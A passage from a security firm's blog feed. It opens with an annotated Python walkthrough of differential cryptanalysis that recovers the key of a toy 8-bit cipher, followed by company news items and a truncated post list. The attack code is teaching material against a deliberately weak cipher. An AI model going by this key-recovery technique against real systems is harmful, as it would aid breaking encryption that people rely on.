sbox = [&lt;span style="color:#3677a9">12&lt;/span>, &lt;span style="color:#3677a9">2&lt;/span>, &lt;span style="color:#3677a9">13&lt;/span>, &lt;span style="color:#3677a9">14&lt;/span>, &lt;span style="color:#3677a9">3&lt;/span>, &lt;span style="color:#3677a9">10&lt;/span>, &lt;span style="color:#3677a9">0&lt;/span>, &lt;span style="color:#3677a9">9&lt;/span>, &lt;span style="color:#3677a9">5&lt;/span>, &lt;span style="color:#3677a9">8&lt;/span>, &lt;span style="color:#3677a9">15&lt;/span>, &lt;span style="color:#3677a9">11&lt;/span>, &lt;span style="color:#3677a9">4&lt;/span>, &lt;span style="color:#3677a9">7&lt;/span>, &lt;span style="color:#3677a9">1&lt;/span>, &lt;span style="color:#3677a9">6&lt;/span>] &lt;span style="color:#999;font-style:italic"># chosen by fair dice roll&lt;/span>
&lt;span style="color:#999;font-style:italic"># Note: fixed point of sbox[11]=11&lt;/span>
&lt;span style="color:#6ab825;font-weight:bold">def&lt;/span> &lt;span style="color:#447fcf">round_function&lt;/span>(&lt;span style="color:#24909d">input&lt;/span>, key):
&lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> sbox[key ^ &lt;span style="color:#24909d">input&lt;/span>]
&lt;span style="color:#6ab825;font-weight:bold">def&lt;/span> &lt;span style="color:#447fcf">encrypt&lt;/span>(&lt;span style="color:#24909d">input&lt;/span>, key0, key1):
&lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> round_function(&lt;span style="color:#24909d">input&lt;/span>, key0) ^ key1
&lt;span style="color:#6ab825;font-weight:bold">def&lt;/span> &lt;span style="color:#447fcf">get_difference_distribution_table&lt;/span>():
&lt;span style="color:#24909d">print&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;[*] Computing difference distribution table.&amp;#34;&lt;/span>)
diff_dist_table = [[&lt;span style="color:#3677a9">0&lt;/span> &lt;span style="color:#6ab825;font-weight:bold">for&lt;/span> x &lt;span style="color:#6ab825;font-weight:bold">in&lt;/span> &lt;span style="color:#24909d">range&lt;/span>(&lt;span style="color:#3677a9">16&lt;/span>)] &lt;span style="color:#6ab825;font-weight:bold">for&lt;/span> y &lt;span style="color:#6ab825;font-weight:bold">in&lt;/span> &lt;span style="color:#24909d">range&lt;/span>(&lt;span style="color:#3677a9">16&lt;/span>)]
&lt;span style="color:#6ab825;font-weight:bold">for&lt;/span> in_diff &lt;span style="color:#6ab825;font-weight:bold">in&lt;/span> &lt;span style="color:#24909d">range&lt;/span>(&lt;span style="color:#3677a9">16&lt;/span>):
&lt;span style="color:#6ab825;font-weight:bold">for&lt;/span> input0 &lt;span style="color:#6ab825;font-weight:bold">in&lt;/span> &lt;span style="color:#24909d">range&lt;/span>(&lt;span style="color:#3677a9">16&lt;/span>):
input1 = input0 ^ in_diff
out_diff = sbox[input0] ^ sbox[input1]
diff_dist_table[in_diff][out_diff] = diff_dist_table[in_diff][out_diff] + &lt;span style="color:#3677a9">1&lt;/span>
&lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> diff_dist_table
&lt;span style="color:#6ab825;font-weight:bold">def&lt;/span> &lt;span style="color:#447fcf">matrix_pretty_print&lt;/span>(matrix):
&lt;span style="color:#999;font-style:italic"># https://stackoverflow.com/questions/13214809/pretty-print-2d-python-list&lt;/span>
s = [[&lt;span style="color:#24909d">str&lt;/span>(e) &lt;span style="color:#6ab825;font-weight:bold">for&lt;/span> e &lt;span style="color:#6ab825;font-weight:bold">in&lt;/span> row] &lt;span style="color:#6ab825;font-weight:bold">for&lt;/span> row &lt;span style="color:#6ab825;font-weight:bold">in&lt;/span> matrix]
lens = [&lt;span style="color:#24909d">max&lt;/span>(&lt;span style="color:#24909d">map&lt;/span>(&lt;span style="color:#24909d">len&lt;/span>, col)) &lt;span style="color:#6ab825;font-weight:bold">for&lt;/span> col &lt;span style="color:#6ab825;font-weight:bold">in&lt;/span> &lt;span style="color:#24909d">zip&lt;/span>(*s)]
fmt = &lt;span style="color:#ed9d13">&amp;#39; &amp;#39;&lt;/span>.join(&lt;span style="color:#ed9d13">&amp;#39;{{:&lt;/span>&lt;span style="color:#ed9d13">{}&lt;/span>&lt;span style="color:#ed9d13">}}&amp;#39;&lt;/span>.format(x) &lt;span style="color:#6ab825;font-weight:bold">for&lt;/span> x &lt;span style="color:#6ab825;font-weight:bold">in&lt;/span> lens)
table = [fmt.format(*row) &lt;span style="color:#6ab825;font-weight:bold">for&lt;/span> row &lt;span style="color:#6ab825;font-weight:bold">in&lt;/span> s]
&lt;span style="color:#24909d">print&lt;/span>(&lt;span style="color:#ed9d13">&amp;#39;&lt;/span>&lt;span style="color:#ed9d13">\n&lt;/span>&lt;span style="color:#ed9d13">&amp;#39;&lt;/span>.join(table))
diff_dist_table = get_difference_distribution_table()
matrix_pretty_print(diff_dist_table)
&lt;span style="color:#999;font-style:italic"># 16 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0&lt;/span>
&lt;span style="color:#999;font-style:italic"># 0 0 0 4 2 0 0 2 0 4 0 0 0 2 2 0&lt;/span>
&lt;span style="color:#999;font-style:italic"># 0 4 0 6 0 2 0 0 0 0 2 0 2 0 0 0&lt;/span>
&lt;span style="color:#999;font-style:italic"># 0 0 4 0 0 0 2 2 0 0 4 0 0 0 2 2&lt;/span>
&lt;span style="color:#999;font-style:italic"># 0 2 0 0 0 0 0 2 2 0 0 0 0 4 2 4&lt;/span>
&lt;span style="color:#999;font-style:italic"># 0 2 2 0 2 0 2 0 0 2 2 0 2 0 2 0&lt;/span>
&lt;span style="color:#999;font-style:italic"># 0 0 0 0 4 0 0 0 0 0 0 4 4 0 4 0&lt;/span>
&lt;span style="color:#999;font-style:italic"># 0 0 2 2 0 2 0 2 2 2 0 0 0 2 0 2&lt;/span>
&lt;span style="color:#999;font-style:italic"># 0 2 2 0 0 2 0 2 0 2 2 0 0 2 0 2&lt;/span>
&lt;span style="color:#999;font-style:italic"># 0 2 0 0 4 0 4 2 2 0 0 0 0 0 2 0&lt;/span>
&lt;span style="color:#999;font-style:italic"># 0 0 2 2 2 0 2 0 2 2 0 0 2 0 2 0&lt;/span>
&lt;span style="color:#999;font-style:italic"># 0 0 0 0 0 4 0 4 0 0 0 4 0 4 0 0&lt;/span>
&lt;span style="color:#999;font-style:italic"># 0 0 4 0 0 2 2 0 4 0 0 0 2 0 0 2&lt;/span>
&lt;span style="color:#999;font-style:italic"># 0 0 0 0 0 0 4 0 0 0 0 8 0 0 0 4&lt;/span>
&lt;span style="color:#999;font-style:italic"># 0 4 0 0 2 2 0 0 0 4 0 0 2 2 0 0&lt;/span>
&lt;span style="color:#999;font-style:italic"># 0 0 0 2 0 2 0 0 4 0 6 0 2 0 0 0&lt;/span>
&lt;span style="color:#999;font-style:italic"># We see that an input difference of 13 leads to an output difference of 11&lt;/span>
&lt;span style="color:#999;font-style:italic"># with probability 1/2 (8/16)&lt;/span>
&lt;span style="color:#999;font-style:italic"># So we already built a distinguisher for the cipher.&lt;/span>
&lt;span style="color:#24909d">print&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;[*] Choosing differential characteristic 13 -&amp;gt; 11&amp;#34;&lt;/span>)
&lt;span style="color:#999;font-style:italic"># How? Well, we query a chosen-plaintext oracle with two plaintexts with&lt;/span>
&lt;span style="color:#999;font-style:italic"># difference 13. If the output difference is 11, then we probably deal&lt;/span>
&lt;span style="color:#999;font-style:italic"># with the cipher, instead of a random oracle.&lt;/span>
&lt;span style="color:#999;font-style:italic"># Next, we want to recover the key.&lt;/span>
&lt;span style="color:#999;font-style:italic"># Note that the key length is 8 bits, thus brute-forcing naively needs&lt;/span>
&lt;span style="color:#999;font-style:italic"># 2^8 steps. However, we brute-force only the first half of the key and&lt;/span>
&lt;span style="color:#999;font-style:italic"># compute the remaining half using basic algebra. Key guesses can then&lt;/span>
&lt;span style="color:#999;font-style:italic"># be validated using some known plaintext-ciphertext pair.&lt;/span>
&lt;span style="color:#999;font-style:italic"># Consequently, brute forcing needs 2^4=16 steps.&lt;/span>
&lt;span style="color:#999;font-style:italic"># Now, we use differential cryptanalysis and need less then 16&lt;/span>
&lt;span style="color:#999;font-style:italic"># steps. As differential cryptanalysis is a chosen-plaintext attack, we&lt;/span>
&lt;span style="color:#999;font-style:italic"># can access an encryption oracle.&lt;/span>
&lt;span style="color:#999;font-style:italic"># Now, let us compute all possible intermediate values for which the&lt;/span>
&lt;span style="color:#999;font-style:italic"># differential characteristic 13 -&amp;gt; 11 holds. This can be done in a&lt;/span>
&lt;span style="color:#999;font-style:italic"># pre-processing phase. Note that there are 8 intermediate values, as&lt;/span>
&lt;span style="color:#999;font-style:italic"># that is the probability of the differential characteristic. Thus, we&lt;/span>
&lt;span style="color:#999;font-style:italic"># have many intermediate values, but it is easy to find a&lt;/span>
&lt;span style="color:#999;font-style:italic"># plaintext-ciphertext pair for which the characteristic holds. On the&lt;/span>
&lt;span style="color:#999;font-style:italic"># other hand, if the probability of the differential is low, then there&lt;/span>
&lt;span style="color:#999;font-style:italic"># are only few possible intermediate values, but it is hard to find a&lt;/span>
&lt;span style="color:#999;font-style:italic"># plaintext-ciphertext pair for which the differential characteristic&lt;/span>
&lt;span style="color:#999;font-style:italic"># holds.&lt;/span>
&lt;span style="color:#6ab825;font-weight:bold">def&lt;/span> &lt;span style="color:#447fcf">gen_possible_intermediate_values&lt;/span>(input_diff, output_diff):
good_pairs = []
&lt;span style="color:#6ab825;font-weight:bold">for&lt;/span> input0 &lt;span style="color:#6ab825;font-weight:bold">in&lt;/span> &lt;span style="color:#24909d">range&lt;/span>(&lt;span style="color:#3677a9">16&lt;/span>):
input1 = input0 ^ input_diff
&lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> sbox[input0] ^ sbox[input1] == output_diff:
good_pairs.append([input0, input1])
&lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> good_pairs
intermediate_values = gen_possible_intermediate_values(&lt;span style="color:#3677a9">13&lt;/span>, &lt;span style="color:#3677a9">11&lt;/span>)
&lt;span style="color:#24909d">print&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;[*] Possible intermediate values: &amp;#34;&lt;/span> + &lt;span style="color:#24909d">str&lt;/span>(intermediate_values))
&lt;span style="color:#6ab825;font-weight:bold">def&lt;/span> &lt;span style="color:#447fcf">gen_plain_cipher_pairs&lt;/span>(input_diff, num):
&lt;span style="color:#999;font-style:italic"># Generate num plaintext, ciphertext pairs with fixed input difference.&lt;/span>
&lt;span style="color:#999;font-style:italic"># Remember, this is a chosen plaintext attack&lt;/span>
&lt;span style="color:#999;font-style:italic"># random key which we want to recover&lt;/span>
key = (random.randint(&lt;span style="color:#3677a9">0&lt;/span>, &lt;span style="color:#3677a9">15&lt;/span>), random.randint(&lt;span style="color:#3677a9">0&lt;/span>, &lt;span style="color:#3677a9">15&lt;/span>))
&lt;span style="color:#24909d">print&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;[*] Real key: &lt;/span>&lt;span style="color:#ed9d13">%s&lt;/span>&lt;span style="color:#ed9d13"> &lt;/span>&lt;span style="color:#ed9d13">%s&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> % (key[&lt;span style="color:#3677a9">0&lt;/span>], key[&lt;span style="color:#3677a9">1&lt;/span>]))
pairs = []
&lt;span style="color:#6ab825;font-weight:bold">for&lt;/span> input0 &lt;span style="color:#6ab825;font-weight:bold">in&lt;/span> random.sample(&lt;span style="color:#24909d">range&lt;/span>(&lt;span style="color:#3677a9">16&lt;/span>), num):
input1 = input0 ^ input_diff
output0 = encrypt(input0, key[&lt;span style="color:#3677a9">0&lt;/span>], key[&lt;span style="color:#3677a9">1&lt;/span>])
output1 = encrypt(input1, key[&lt;span style="color:#3677a9">0&lt;/span>], key[&lt;span style="color:#3677a9">1&lt;/span>])
pairs.append(((input0, input1), (output0, output1)))
&lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> pairs
plain_cipher_pairs = gen_plain_cipher_pairs(&lt;span style="color:#3677a9">13&lt;/span>, &lt;span style="color:#3677a9">3&lt;/span>)
&lt;span style="color:#999;font-style:italic"># We are using three pairs. This should be enough, but of course more is better.&lt;/span>
&lt;span style="color:#999;font-style:italic"># Next, we want to only take a look at the good plaintext-ciphertext&lt;/span>
&lt;span style="color:#999;font-style:italic"># pairs. These are those pairs, where the differential characteristic&lt;/span>
&lt;span style="color:#999;font-style:italic"># holds.&lt;/span>
&lt;span style="color:#6ab825;font-weight:bold">def&lt;/span> &lt;span style="color:#447fcf">find_good_pair&lt;/span>(plain_cipher_pairs, output_diff):
&lt;span style="color:#24909d">print&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;[*] Searching for good pairs.&amp;#34;&lt;/span>)
&lt;span style="color:#6ab825;font-weight:bold">for&lt;/span> ((input0, input1), (output0, output1)) &lt;span style="color:#6ab825;font-weight:bold">in&lt;/span> plain_cipher_pairs:
&lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> output0 ^ output1 == output_diff:
&lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> ((input0, input1), (output0, output1))
&lt;span style="color:#6ab825;font-weight:bold">raise&lt;/span> &lt;span style="color:#bbb">Exception&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;No good pair found.&amp;#34;&lt;/span>)
&lt;span style="color:#999;font-style:italic"># If we have num plaintext-ciphertext pairs with the input difference&lt;/span>
&lt;span style="color:#999;font-style:italic"># 13, then approximately num/2 of these are good pairs, i.e., they&lt;/span>
&lt;span style="color:#999;font-style:italic"># have the output difference 11.&lt;/span>
((good_p0, good_p1), (good_c0, good_c1)) = find_good_pair(plain_cipher_pairs, &lt;span style="color:#3677a9">11&lt;/span>)
&lt;span style="color:#24909d">print&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;[*] Found a good pair: &amp;#34;&lt;/span> + &lt;span style="color:#24909d">str&lt;/span>(((good_p0, good_p1), (good_c0, good_c1))))
&lt;span style="color:#999;font-style:italic"># For such a good pair, we know the 8 possible intermediate values&lt;/span>
&lt;span style="color:#999;font-style:italic"># before and after the sbox. Each of these intermediate values gives us&lt;/span>
&lt;span style="color:#999;font-style:italic"># a guess for the key.&lt;/span>
&lt;span style="color:#999;font-style:italic"># If we have guessed a key, we can validate it using the other (even&lt;/span>
&lt;span style="color:#999;font-style:italic"># bad) plaintext-ciphertext pair or some other known&lt;/span>
&lt;span style="color:#999;font-style:italic"># plaintext-ciphertext pair.&lt;/span>
&lt;span style="color:#6ab825;font-weight:bold">def&lt;/span> &lt;span style="color:#447fcf">validate_key&lt;/span>(guessed_k0, guessed_k1):
&lt;span style="color:#ed9d13">&amp;#34;&amp;#34;&amp;#34;Checks a key against known plaintext-ciphertext pair and returns True if the key is correct.&amp;#34;&amp;#34;&amp;#34;&lt;/span>
&lt;span style="color:#6ab825;font-weight:bold">for&lt;/span> ((input0, input1), (output0, output1)) &lt;span style="color:#6ab825;font-weight:bold">in&lt;/span> plain_cipher_pairs:
&lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> encrypt(input0, guessed_k0, guessed_k1) != output0:
&lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> &lt;span style="color:#6ab825;font-weight:bold">False&lt;/span>
&lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> encrypt(input1, guessed_k0, guessed_k1) != output1:
&lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> &lt;span style="color:#6ab825;font-weight:bold">False&lt;/span>
&lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> &lt;span style="color:#6ab825;font-weight:bold">True&lt;/span>
&lt;span style="color:#999;font-style:italic"># All that is left is compute the possible keys, given the possible&lt;/span>
&lt;span style="color:#999;font-style:italic"># intermediate values before the sbox and check the keys. Note that&lt;/span>
&lt;span style="color:#999;font-style:italic"># we are still bruteforcing, but we are only bruteforcing 8 values,&lt;/span>
&lt;span style="color:#999;font-style:italic"># instead of 16.&lt;/span>
&lt;span style="color:#6ab825;font-weight:bold">def&lt;/span> &lt;span style="color:#447fcf">recover_key&lt;/span>():
&lt;span style="color:#24909d">print&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;[*] Brute-Forcing remaining key space&amp;#34;&lt;/span>)
&lt;span style="color:#6ab825;font-weight:bold">for&lt;/span> (p0, p1) &lt;span style="color:#6ab825;font-weight:bold">in&lt;/span> intermediate_values:
guessed_k0 = p0 ^ good_p0
guessed_k1 = sbox[p0] ^ good_c0
&lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> validate_key(guessed_k0, guessed_k1):
&lt;span style="color:#24909d">print&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;Recovered key --&amp;gt; &lt;/span>&lt;span style="color:#ed9d13">%s&lt;/span>&lt;span style="color:#ed9d13"> &lt;/span>&lt;span style="color:#ed9d13">%s&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> % (guessed_k0, guessed_k1))
&lt;span style="color:#6ab825;font-weight:bold">else&lt;/span>:
&lt;span style="color:#24909d">print&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34; &lt;/span>&lt;span style="color:#ed9d13">%s&lt;/span>&lt;span style="color:#ed9d13"> &lt;/span>&lt;span style="color:#ed9d13">%s&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> % (guessed_k0, guessed_k1))
recover_key()
&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>Secure Our Streets Conference</title><link>https://www.schutzwerk.com/en/blog/secure-our-streets-conference-2022/</link><author>SCHUTZWERK GmbH</author><pubDate>Mon, 12 Sep 2022 13:00:00 +0100</pubDate><category>news</category><description>
&lt;p>Our colleagues Fabian Weber and Florian Schmid will be speaking at the automotive security conference &amp;ldquo;Secure Our Streets 2022&amp;rdquo; on the 15th September.&lt;/p>
&lt;p>The &amp;ldquo;Secure Our Streets 2022&amp;rdquo; is a conference on automotive and embedded cyber security, organized by the Automotive Security Research Group (ASRG). Our talk &amp;ldquo;PROBoter - Automating PCB analysis tasks to support penetration tests of embedded systems&amp;rdquo; is only one of many interesting topics on the agenda (more about the &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/tags/proboter"
class="link-background inline split"
>
&lt;span class="link-label">PROBoter&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/tags/proboter"
class="link-background inline split"
>
&lt;span class="link-label">in&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/tags/proboter"
class="link-background inline split"
>
&lt;span class="link-label">our&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/tags/proboter"
class="link-background inline split"
>
&lt;span class="link-label">blog&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
). Registration is free and still open ( &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://secureourstreets.com"
class="link-background inline no-spaces split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">https:/&lt;/span>
&lt;/a>&lt;a
href="https://secureourstreets.com"
class="link-background inline no-spaces split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">/&lt;/span>
&lt;/a>&lt;a
href="https://secureourstreets.com"
class="link-background inline no-spaces split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">secureourstreets.com&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
). Join us for some interesting talks about embedded and automotive security.&lt;/p></description></item><item><title>SCHUTZWERK is ISO 27001, ISO 9001 and TISAX certified</title><link>https://www.schutzwerk.com/en/blog/schutzwerk-ist-iso27001-iso9001-und-tisax-zertifiziert/</link><author>SCHUTZWERK GmbH</author><pubDate>Mon, 15 Aug 2022 13:00:00 +0100</pubDate><category>news</category><description>
&lt;p>We are pleased to announce that we successfully completed our project for triple certification (ISO 27001, ISO 9001 and TISAX) in April 2022. Thus, the implementation of our always high demands on security, quality, and trustworthiness, related to our services, is now confirmed by an independent party.&lt;/p>
&lt;p>A high level of security, quality, and trustworthiness are of central importance to us to provide our services. To systematically implement and maintain this demand, a corresponding Integrated Management System (IMS) has already been established at SCHUTZWERK in the past.&lt;/p>
&lt;p>The effectiveness of the implemented measures has now been confirmed by an independent party. SCHUTZWERK was audited from three angles (ISO 27001, ISO 9001, and TISAX). The focus was on a wide range of aspects, such as the security of our internal IT and business processes (e.g., confidentiality and client separation), the physical and organizational security measures at our office locations in Ulm and Hamburg, and our quality management (e.g., employee training and continuous education/improvement).&lt;/p>
&lt;p>Due to our core business in the area of information and IT security, SCHUTZWERK and its employees have a professional basis for the necessary measures. Also by our services aligned to the ISO/IEC 27001 such as the &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/assessment/maturity-level-analysis/"
class="link-background inline split"
>
&lt;span class="link-label">maturity&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/maturity-level-analysis/"
class="link-background inline split"
>
&lt;span class="link-label">level&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/maturity-level-analysis/"
class="link-background inline split"
>
&lt;span class="link-label">analysis&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/maturity-level-analysis/"
class="link-background inline split"
>
&lt;span class="link-label">of&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/maturity-level-analysis/"
class="link-background inline split"
>
&lt;span class="link-label">information&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/maturity-level-analysis/"
class="link-background inline split"
>
&lt;span class="link-label">security&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/maturity-level-analysis/"
class="link-background inline split"
>
&lt;span class="link-label">according&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/maturity-level-analysis/"
class="link-background inline split"
>
&lt;span class="link-label">to&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/maturity-level-analysis/"
class="link-background inline split"
>
&lt;span class="link-label">ISO/IEC&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/maturity-level-analysis/"
class="link-background inline split"
>
&lt;span class="link-label">27001&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
or &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/process/information-security-management/"
class="link-background inline split"
>
&lt;span class="link-label">support&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/process/information-security-management/"
class="link-background inline split"
>
&lt;span class="link-label">with&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/process/information-security-management/"
class="link-background inline split"
>
&lt;span class="link-label">the&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/process/information-security-management/"
class="link-background inline split"
>
&lt;span class="link-label">implementation&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/process/information-security-management/"
class="link-background inline split"
>
&lt;span class="link-label">of&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/process/information-security-management/"
class="link-background inline split"
>
&lt;span class="link-label">the&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/process/information-security-management/"
class="link-background inline split"
>
&lt;span class="link-label">Information&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/process/information-security-management/"
class="link-background inline split"
>
&lt;span class="link-label">Security&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/process/information-security-management/"
class="link-background inline split"
>
&lt;span class="link-label">Management&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/process/information-security-management/"
class="link-background inline split"
>
&lt;span class="link-label">according&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/process/information-security-management/"
class="link-background inline split"
>
&lt;span class="link-label">to&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/process/information-security-management/"
class="link-background inline split"
>
&lt;span class="link-label">ISO/IEC&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/process/information-security-management/"
class="link-background inline split"
>
&lt;span class="link-label">27001&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
the practical experience from numerous customer projects is already available. The technical and organizational measures, which have been in place since the company was founded and have been continuously expanded, have contributed to the fact that it was not necessary to start on a &amp;ldquo;greenfield&amp;rdquo; for the certification.&lt;/p>
&lt;p>We were also already familiar with the requirements and measures of the various standards in the area of embedded and automotive security. This refers, for example, to the TISAX labels &amp;ldquo;Handling of information with very high protection needs&amp;rdquo; and &amp;ldquo;Protection of prototype parts and components&amp;rdquo;.&lt;/p>
&lt;p>An overview with &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/certification/"
class="link-background inline split"
>
&lt;span class="link-label">details&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/certification/"
class="link-background inline split"
>
&lt;span class="link-label">of&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/certification/"
class="link-background inline split"
>
&lt;span class="link-label">our&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/certification/"
class="link-background inline split"
>
&lt;span class="link-label">certificates&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
can be found on the website. In the course of the year, SCHUTZWERK plans to launch a professional blog article series around information security management. This will deal with concrete experiences from the certification project at our company and present challenges and possible solutions.&lt;/p>
&lt;p>We look forward to working with you to master the new challenges in information, IT, and cybersecurity.&lt;/p>
&lt;p>Your SCHUTZWERK team&lt;/p></description></item><item><title>Visual PCB analysis with Neural Networks and classic Computer Vision algorithms</title><link>https://www.schutzwerk.com/en/blog/proboter-03/</link><author>Fabian Weber</author><pubDate>Mon, 08 Aug 2022 08:57:00 +0100</pubDate><category>proboter</category><category>embedded security</category><category>secforcars</category><category>toolrelease</category><description>
&lt;p>The list below gives an overview of the topics covered in this blog post
series. Links will be updated as soon as the corresponding parts are being
released.&lt;/p>
&lt;ul>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-video"
class="link-background inline split"
>
&lt;span class="link-label">PROBoter&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-video"
class="link-background inline split"
>
&lt;span class="link-label">demo&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-video"
class="link-background inline split"
>
&lt;span class="link-label">video&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-01/"
class="link-background inline split"
>
&lt;span class="link-label">Part&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-01/"
class="link-background inline split"
>
&lt;span class="link-label">I:&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-01/"
class="link-background inline split"
>
&lt;span class="link-label">A&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-01/"
class="link-background inline split"
>
&lt;span class="link-label">platform&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-01/"
class="link-background inline split"
>
&lt;span class="link-label">for&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-01/"
class="link-background inline split"
>
&lt;span class="link-label">automated&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-01/"
class="link-background inline split"
>
&lt;span class="link-label">PCB&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-01/"
class="link-background inline split"
>
&lt;span class="link-label">analysis&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-02/"
class="link-background inline split"
>
&lt;span class="link-label">Part&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-02/"
class="link-background inline split"
>
&lt;span class="link-label">II:&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-02/"
class="link-background inline split"
>
&lt;span class="link-label">The&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-02/"
class="link-background inline split"
>
&lt;span class="link-label">PROBoter&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-02/"
class="link-background inline split"
>
&lt;span class="link-label">hardware&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-02/"
class="link-background inline split"
>
&lt;span class="link-label">platform&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03/"
class="link-background inline split"
>
&lt;span class="link-label">Part&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03/"
class="link-background inline split"
>
&lt;span class="link-label">III:&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03/"
class="link-background inline split"
>
&lt;span class="link-label">Visual&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03/"
class="link-background inline split"
>
&lt;span class="link-label">PCB&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03/"
class="link-background inline split"
>
